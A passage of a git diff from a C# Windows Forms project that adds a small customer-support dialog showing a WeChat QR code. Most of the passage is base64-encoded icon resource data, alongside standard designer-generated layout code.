+P709PD+enlt/jMwHP4zMBz/PDst/pCnuf6s0O//rNDv/6rP7/+oze//p8zv/6fM7/+nzO7/pszu/6bL + 7/+jy+//j67I/zw9MP9kYVL+7+/r/v///f7//vz++fj2//z8+v/+/fr//v78/+vq5/5lZVtnm5qR+vr5 + +P7j4t/++vn2/vj39P6qqaH+WVdI/kNDNP6qw9j/udfw/7fW8f+31vH/rszp/2N1r/8kKan/Iyaw/0VT + nv+gvuH/r9Hv/63R7/+sz+7/mLPK/1JYU/6WmZL+6ern/qGgmf7Nzcj+///9/v///f////3//fz6/ouL + g4BTUEGgt7Wv9OHg3P79/Pr//v78/+jo5f6Qj4b+oq+4/sbe9P/F3vT/w9z0/8Pc9P+Sp8L/LzaD/jg9 + tv4lKLH+IiW7/2V0tP+30+3/u9fy/7nX8f+41vH/mrHD/kFmZP55f3f+Ojcm/piWjP76+ff+/v78//z8 + +f7Y2NTubWpiRiNoaBY1fH/DfJWR/vPz8P79/fv+rray/l9pY/7H1+X+0uT2/9Hk9v/P4/b/z+P2/3B+ + k/5xfpD+fo2s/mRwoP5td7v+fouy/rPK4P/G3vT/xd70/8Td9P/B2/L/aJKa/iuKkv4xQzf+Skg3/pWT + if7l5OH9pqig0I2Ng2dMTEwKKtTqDCm1yptah4X+7e7q/vDy7/5pj4/+aomK/tfi6/7g7Pj/3+z4/93r + +P/c6vf/vs3c/sva5/7J2ej+x9fm/s3c6f7H1eT+y9zs/9Pl9v/R5fb/0eX2/9Hl9v+fsLj+KsHW/iyK + kf6HioD+0M/J/uXo5flfc2+MAAAABAAAAAAzzP8FKdDqfC2Hjv5ITED+QmJc/i+90/48c3P+2N3g/uvz + +f/q8/n/6vL5/+jw+P/n8Pj/5vD4/+bv+P/l7/j/4+74/+Lt+P/h7fj/4Oz3/9/s9//e6/f/3ev3/7jF + zf4puc7+J7nO/lV3c/7s7On+6ezo801iYGoAAAAAAAAAAAAAAAAn1fBWJtPv9SbP6v4l1O/+JdTw/yu1 + yf48VEv+ycrG/vDx8v7x9Pb+lpmU/lFQSP6mqaf/8fb6/9PZ2/5OT0r+e356/uDn6v7u9Pr/7PP5/+vy + +f/n7/b+mamr/ivN5f8k1fH+KbvR/i1gXv41h4/oMcngOQAAAAAAAAAAAAAAACfT8DQn1PHTJtTx/yXV + 8f8l1fD/JtXw/iucqf6JiHz+zs3J/tbX0v7MzMf+r6+r/s3Nyv/6+/n/7u/t/q+vrP7FxcP+ysvI/tXV + 0/7Bw8D+v8G+/qzBwP4+n6v+JdTw/yXV8f8m1PH/JtXx/ifV78gq1P8GAAAAAAAAAAAAAAAAM8zuDynU + 76Ml1fH8J9Xx/yfV8f8n1fH/Kq2+/omHe/79/fv/6urn/r28tf7i4d7+v7+6/qimn/6ko5v+wsG7/s/O + yv6trab+wsG7/qSjm/6Sk4j+TJme/ibO6f4k1PD/J9Xx/yfV8f8m1fH/KtPvbgAAAAAAAAAAAAAAAAAA + AAAAAAAAKdbuSyTV8O4l1fD/KM7n/iqRmv4+cW/+dnVr/vr6+P///vz/4+Le/m9tZv6dnZf+xsa//sXE + vf7W1tL+tLOt/oaFfv7x8e3+/v77/tbW0f5niIX+L5ah/yfU8P8n1fH/J9Pw/yfT794k2/MVAAAAAAAA + AAAAAAAAAAAAAAAAAAAA1NQGKNTvsiXP6f83jpX+nqei/tPU0P5kYlf+zMzH/v/+/P/l5OH+YF9Y/s7O + zP7///3+///9/v7+/P61tbD+h4eA/vX08v78/Pr/uriy/quqo/7N19T+OZGa/ybV8f8n1PD/LNLuXAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUxOsNLL/T53R/eP7v7uv+pKOd/tPU0f5YXFL+WVdJ/nd2 + a/7r6uf++/v5/vn59v/39vT+//79/vv5+f729vT+/v78/+Xm4v6SlIv+nJyT/sPCvv6wwb/+Kb7U/CjV + 77Ewz+8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIYFxAoqCY/vH08v7V6Oz+XJSd/j17 + h/5ZWlH+SUY2/ldURv7HxcD+iIZ7/1xbTf719PL+/v38//39+/7e3tr+bHt3/lSFif2uys39193c/uXu + 7vw7n6rQLdLtOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAElJPSp9fnTvj5yZ/kuR + nv4xgI3+J2Bu/jdxfP9eZ17+R0U2/ldVRv5EQjH+TUs8//Lx7v7i4t7+sr69/liNlv4jbYf+NGps/UaK + kv11i4n9oaij6Vd+flsAf38CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRkZCi40 + KFMvT0htLKKz1it/jP4gmcf/L5av/zNbWP5Ckpn+UHZz/kZSSP5SXlT+ha2w/mawt/48aWn+MqC8/h6g + 0P4oiZ7+KqW1/DF+g6cvOzJSFxcXCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAD//wMl0+wpJWh4ziSfyv8weIH/KbHC/ibO6P4owtn+K7rP/iu6z/4ow9v+J8vk/iuy + xf4tXl/+K7Pd/yOOr+ksvdF1KtTqGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoXGKeJo+v/zOSnPwmz+n+JdXw/yTU8P8k1PD/JdTw/yTU + 8P8k1PD/JNXw/i5rav4un739H3qenAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpHSlYra3v3ME9MZBzU4xIs0+06L9PtgSzV + 8J4o1PGgKtPujDDU7msx0+s0MT4xeC+AlOslXWxaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIDAgEC40J4kwNCM7AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApKRkfMD0yehwcHAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/8AH//8AAf/+AAD/+AAAP/AAAB/wAAAP4AAAD8AAAA/AAAAHgAAAB4AA + AAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA4AAAAOAAAADgAAAB8AAAAfAAAAP4AAAD/AA + AB/wAAAf8AAAP/wAAP//AAH//wAD//8f4/8= + + + \ No newline at end of file diff --git a/TEMUKJD/UserForm/SupportQrCodeForm.Designer.cs b/TEMUKJD/UserForm/SupportQrCodeForm.Designer.cs new file mode 100644 index 0000000..559c9eb --- /dev/null +++ b/TEMUKJD/UserForm/SupportQrCodeForm.Designer.cs @@ -0,0 +1,100 @@ +namespace LittleRabbit.UserForm +{ + partial class SupportQrCodeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SupportQrCodeForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.label1 = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.label1); + this.panel2.Controls.Add(this.pictureBox1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(191, 193); + this.panel2.TabIndex = 1; + // + // label1 + // + this.label1.Anchor = System.Windows.Forms.AnchorStyles.Bottom; + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(27, 161); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(137, 12); + this.label1.TabIndex = 1; + this.label1.Text = "微信扫描二维码联系客服"; + // + // pictureBox1 + // + this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pictureBox1.ErrorImage = null; + this.pictureBox1.Image = global::LittleRabbit.Properties.Resources.qrcode; + this.pictureBox1.Location = new System.Drawing.Point(17, 12); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(156, 135); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + // + // SupportQrCodeForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(193, 227); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "SupportQrCodeForm"; + this.Text = "联系客服"; + this.TitleText = "联系客服"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/TEMUKJD/UserForm/SupportQrCodeForm.cs b/TEMUKJD/UserForm/SupportQrCodeForm.cs new file mode 100644 index 0000000..2365232 --- /dev/null +++ b/TEMUKJD/UserForm/SupportQrCodeForm.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserForm +{ + public partial class SupportQrCodeForm : LittleRabbitForms.BaseForms.LRBaseForm + { + public SupportQrCodeForm() + { + InitializeComponent(); + } + } +} diff --git a/TEMUKJD/UserForm/SupportQrCodeForm.resx b/TEMUKJD/UserForm/SupportQrCodeForm.resx new file mode 100644 index 0000000..55a63eb --- /dev/null +++ b/TEMUKJD/UserForm/SupportQrCodeForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQUQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + 